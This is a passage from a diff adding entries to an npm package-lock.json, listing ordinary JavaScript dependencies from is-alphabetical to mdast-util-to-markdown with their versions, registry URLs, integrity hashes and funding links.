">=12"+ }+ },+ "node_modules/is-alphabetical": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz",+ "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/is-alphanumerical": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz",+ "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==",+ "dependencies": {+ "is-alphabetical": "^2.0.0",+ "is-decimal": "^2.0.0"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/is-array-buffer": {+ "version": "3.0.5",+ "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz",+ "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.3",+ "get-intrinsic": "^1.2.6"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-async-function": {+ "version": "2.1.1",+ "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz",+ "integrity": "sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==",+ "dev": true,+ "dependencies": {+ "async-function": "^1.0.0",+ "call-bound": "^1.0.3",+ "get-proto": "^1.0.1",+ "has-tostringtag": "^1.0.2",+ "safe-regex-test": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-bigint": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",+ "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",+ "dev": true,+ "dependencies": {+ "has-bigints": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-boolean-object": {+ "version": "1.2.2",+ "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz",+ "integrity": "sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "has-tostringtag": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-callable": {+ "version": "1.2.7",+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",+ "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-core-module": {+ "version": "2.16.1",+ "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",+ "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",+ "dev": true,+ "dependencies": {+ "hasown": "^2.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-data-view": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",+ "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "get-intrinsic": "^1.2.6",+ "is-typed-array": "^1.1.13"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-date-object": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",+ "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "has-tostringtag": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-decimal": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz",+ "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/is-extglob": {+ "version": "2.1.1",+ "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",+ "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/is-finalizationregistry": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz",+ "integrity": "sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-generator-function": {+ "version": "1.1.2",+ "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz",+ "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.4",+ "generator-function": "^2.0.0",+ "get-proto": "^1.0.1",+ "has-tostringtag": "^1.0.2",+ "safe-regex-test": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-glob": {+ "version": "4.0.3",+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",+ "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "is-extglob": "^2.1.1"+ },+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/is-hexadecimal": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz",+ "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/is-map": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",+ "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-negative-zero": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",+ "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-number": {+ "version": "7.0.0",+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=0.12.0"+ }+ },+ "node_modules/is-number-object": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz",+ "integrity": "sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "has-tostringtag": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-plain-obj": {+ "version": "4.1.0",+ "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz",+ "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==",+ "engines": {+ "node": ">=12"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/is-regex": {+ "version": "1.2.1",+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",+ "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "gopd": "^1.2.0",+ "has-tostringtag": "^1.0.2",+ "hasown": "^2.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-set": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",+ "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-shared-array-buffer": {+ "version": "1.0.4",+ "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz",+ "integrity": "sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-string": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz",+ "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "has-tostringtag": "^1.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-symbol": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",+ "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.2",+ "has-symbols": "^1.1.0",+ "safe-regex-test": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-typed-array": {+ "version": "1.1.15",+ "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",+ "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",+ "dev": true,+ "dependencies": {+ "which-typed-array": "^1.1.16"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-weakmap": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",+ "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-weakref": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz",+ "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/is-weakset": {+ "version": "2.0.4",+ "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz",+ "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "get-intrinsic": "^1.2.6"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/isarray": {+ "version": "2.0.5",+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",+ "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",+ "dev": true+ },+ "node_modules/isexe": {+ "version": "2.0.0",+ "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",+ "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",+ "dev": true,+ "license": "ISC"+ },+ "node_modules/iterator.prototype": {+ "version": "1.1.5",+ "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz",+ "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==",+ "dev": true,+ "dependencies": {+ "define-data-property": "^1.1.4",+ "es-object-atoms": "^1.0.0",+ "get-intrinsic": "^1.2.6",+ "get-proto": "^1.0.0",+ "has-symbols": "^1.1.0",+ "set-function-name": "^2.0.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/js-tokens": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",+ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/js-yaml": {+ "version": "4.1.0",+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",+ "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "argparse": "^2.0.1"+ },+ "bin": {+ "js-yaml": "bin/js-yaml.js"+ }+ },+ "node_modules/jsesc": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",+ "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",+ "dev": true,+ "license": "MIT",+ "bin": {+ "jsesc": "bin/jsesc"+ },+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/json-buffer": {+ "version": "3.0.1",+ "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",+ "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/json-schema-traverse": {+ "version": "0.4.1",+ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",+ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/json-stable-stringify-without-jsonify": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",+ "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/json5": {+ "version": "2.2.3",+ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",+ "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",+ "dev": true,+ "license": "MIT",+ "bin": {+ "json5": "lib/cli.js"+ },+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/jsx-ast-utils": {+ "version": "3.3.5",+ "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz",+ "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==",+ "dev": true,+ "dependencies": {+ "array-includes": "^3.1.6",+ "array.prototype.flat": "^1.3.1",+ "object.assign": "^4.1.4",+ "object.values": "^1.1.6"+ },+ "engines": {+ "node": ">=4.0"+ }+ },+ "node_modules/keyv": {+ "version": "4.5.4",+ "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",+ "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "json-buffer": "3.0.1"+ }+ },+ "node_modules/language-subtag-registry": {+ "version": "0.3.23",+ "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz",+ "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ==",+ "dev": true+ },+ "node_modules/language-tags": {+ "version": "1.0.9",+ "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz",+ "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==",+ "dev": true,+ "dependencies": {+ "language-subtag-registry": "^0.3.20"+ },+ "engines": {+ "node": ">=0.10"+ }+ },+ "node_modules/levn": {+ "version": "0.4.1",+ "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",+ "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "prelude-ls": "^1.2.1",+ "type-check": "~0.4.0"+ },+ "engines": {+ "node": ">= 0.8.0"+ }+ },+ "node_modules/locate-path": {+ "version": "6.0.0",+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "p-locate": "^5.0.0"+ },+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/lodash.merge": {+ "version": "4.6.2",+ "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/longest-streak": {+ "version": "3.1.0",+ "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz",+ "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/wooorm"+ }+ },+ "node_modules/loose-envify": {+ "version": "1.4.0",+ "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",+ "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",+ "dev": true,+ "dependencies": {+ "js-tokens": "^3.0.0 || ^4.0.0"+ },+ "bin": {+ "loose-envify": "cli.js"+ }+ },+ "node_modules/lru-cache": {+ "version": "5.1.1",+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",+ "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "yallist": "^3.0.2"+ }+ },+ "node_modules/math-intrinsics": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",+ "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/mdast-util-from-markdown": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.2.tgz",+ "integrity": "sha512-uZhTV/8NBuw0WHkPTrCqDOl0zVe1BIng5ZtHoDk49ME1qqcjYmmLmOf0gELgcRMxN4w2iuIeVso5/6QymSrgmA==",+ "dependencies": {+ "@types/mdast": "^4.0.0",+ "@types/unist": "^3.0.0",+ "decode-named-character-reference": "^1.0.0",+ "devlop": "^1.0.0",+ "mdast-util-to-string": "^4.0.0",+ "micromark": "^4.0.0",+ "micromark-util-decode-numeric-character-reference": "^2.0.0",+ "micromark-util-decode-string": "^2.0.0",+ "micromark-util-normalize-identifier": "^2.0.0",+ "micromark-util-symbol": "^2.0.0",+ "micromark-util-types": "^2.0.0",+ "unist-util-stringify-position": "^4.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-mdx-expression": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz",+ "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==",+ "dependencies": {+ "@types/estree-jsx": "^1.0.0",+ "@types/hast": "^3.0.0",+ "@types/mdast": "^4.0.0",+ "devlop": "^1.0.0",+ "mdast-util-from-markdown": "^2.0.0",+ "mdast-util-to-markdown": "^2.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-mdx-jsx": {+ "version": "3.2.0",+ "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz",+ "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==",+ "dependencies": {+ "@types/estree-jsx": "^1.0.0",+ "@types/hast": "^3.0.0",+ "@types/mdast": "^4.0.0",+ "@types/unist": "^3.0.0",+ "ccount": "^2.0.0",+ "devlop": "^1.1.0",+ "mdast-util-from-markdown": "^2.0.0",+ "mdast-util-to-markdown": "^2.0.0",+ "parse-entities": "^4.0.0",+ "stringify-entities": "^4.0.0",+ "unist-util-stringify-position": "^4.0.0",+ "vfile-message": "^4.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-mdxjs-esm": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz",+ "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==",+ "dependencies": {+ "@types/estree-jsx": "^1.0.0",+ "@types/hast": "^3.0.0",+ "@types/mdast": "^4.0.0",+ "devlop": "^1.0.0",+ "mdast-util-from-markdown": "^2.0.0",+ "mdast-util-to-markdown": "^2.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-phrasing": {+ "version": "4.1.0",+ "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz",+ "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==",+ "dependencies": {+ "@types/mdast": "^4.0.0",+ "unist-util-is": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-to-hast": {+ "version": "13.2.0",+ "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.0.tgz",+ "integrity": "sha512-QGYKEuUsYT9ykKBCMOEDLsU5JRObWQusAolFMeko/tYPufNkRffBAQjIE+99jbA87xv6FgmjLtwjh9wBWajwAA==",+ "dependencies": {+ "@types/hast": "^3.0.0",+ "@types/mdast": "^4.0.0",+ "@ungap/structured-clone": "^1.0.0",+ "devlop": "^1.0.0",+ "micromark-util-sanitize-uri": "^2.0.0",+ "trim-lines": "^3.0.0",+ "unist-util-position": "^5.0.0",+ "unist-util-visit": "^5.0.0",+ "vfile": "^6.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/mdast-util-to-markdown": {+ "version": "2.1.2",+ "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz",+ "integrity": 